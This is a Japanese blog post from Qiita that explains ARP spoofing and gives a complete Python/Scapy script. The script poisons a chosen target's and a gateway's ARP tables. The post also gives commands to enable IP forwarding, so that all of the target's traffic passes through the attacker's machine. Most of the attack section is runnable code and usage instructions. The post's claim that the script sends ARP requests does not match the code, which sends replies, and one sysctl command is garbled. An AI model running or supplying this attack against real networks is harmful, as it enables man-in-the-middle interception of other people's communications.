5
12

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

ARPスプーフィング with python

Last updated at Posted at 2017-05-26

ARPスプーフィング

まずARPとはなんぞやと言うことで自分なりに説明してみます。(図なんか作ったらわかりやすいと思うんだけど)
ローカルエリア内(レイヤ2以下)の通信ではIPアドレスからMACアドレスを調べて、そのMACアドレスを元に通信しています。それで「IPアドレスからMACアドレスを調べる」という部分を担当しているのがARPプロトコルと言うわけです。
ARPの仕組みがざっくりわかったところで、ARPスプーフィングですが、IPアドレスからMACアドレスを求めるという操作は、通信するたびに行なっていると処理が重くなって不便ですよね?
実は「このIPアドレスはこのMACアドレス」と言う感じのデータを端末は所有しているのです。そしてその対応データ(以下ARPテーブル)を変更してやろう(騙そう)とするのがARPスプーフィングです。
これを実行すると本来ならルーターに送るはずのパケットを攻撃者の端末に送信してしまい、またルーターのARPテーブルも変更してやるとで上手いことに通信に割って入ることが出来るのです。
以下のプログラムは次のことを実行しています。
1.ゲートウェイ、ターゲットに偽装したARPリクエストパケットを送る。(これで割って入ります)
2.プログラムを終了する前に正しいARPパケットを送り、通常通信に戻す。
ポイントは1.で多くのARPスプーフィングツールではARPリクエストではなくリプライを毎秒送りつけ、攻撃対象のARPテーブル更新時のタイミングで割り込むと言うものが多いです。これではARPテーブル更新のタイミングが来るまで待ってないといけません。僕の実装あまり知られていない「ARPリクエストでARPテーブルが書き換わる」という仕様を利用しています。

#coding:utf-8
from scapy.all import *
import time
import sys

conf.verb = 0
gateway_ip = sys.argv[1]  
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]
def main():
	try:
		print "[*] Start ARPspoofing..."
		poison_target(target_ip,target_mac,gateway_ip,gateway_mac)
	except KeyboardInterrupt:
		pass
	finally:
		time.sleep(2)
		restore_table(gateway_ip,gateway_mac,target_ip,target_mac)
		sys.exit(0)

def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):
	poisoning_target = Ether(dst=target_mac)/ARP()
	poisoning_target.op = 2
	poisoning_target.psrc = gateway_ip
	poisoning_target.pdst = target_ip

	poisoning_gateway = Ether(dst=gateway_mac)/ARP()
	poisoning_gateway.op = 2
	poisoning_gateway.psrc = target_ip
	poisoning_gateway.pdst = gateway_ip

	while True:
		sendp(poisoning_target)
		sendp(poisoning_gateway)
		time.sleep(5)
	print "[*] Finished."
	return

def restore_table(gateway_ip,gateway_mac,target_ip,target_mac):
	print "[*] Restoring target."
	send(ARP(op=1,psrc=gateway_ip,hwsrc=gateway_mac,pdst=target_ip,hwdst=target_mac),count=3)

if __name__=="__main__":
	main()

macの場合は

sudo sysctl -w net.inet.ip.forwarding=1

Linuxの場合は

sudo sysctl -w sudo sysctl -w net.ipv4.ip_forward=1

を実行し

sudo python arpspoofing.py ゲートウェイIP ゲートウェイMAC ターゲットIP ターゲットMAC  

でターゲットの指定した端末の送信パケットが全て自分の端末に飛んで来ます。

###問題点
MACアドレスを指定するのは、以前まではブロードキャストによって相手(ゲートウェイ、ターゲット)のMACアドレスを取得していましたが、その際に送られる要求パケットに含まれる自分の端末(攻撃者)のMACアドレスがARPテーブルに乗ってしまうために、ARPスプーフィングを実行した際にMACアドレスがダブってしまいうまくいかないことがあるために指定することにしました。
ただ、ゲートウェイにはARPスプーフィングを実行する以前に攻撃者のMACアドレスが存在しているためダブりが存在してしまうことになりますよね。。ってことで今自分が思う解決策としては攻撃者のMACアドレスを偽装して〜みたいなことを考えてます。仮想マシンでもいいかも

参考にした本
https://www.oreilly.co.jp/books/9784873117317/

5
12
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
12

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?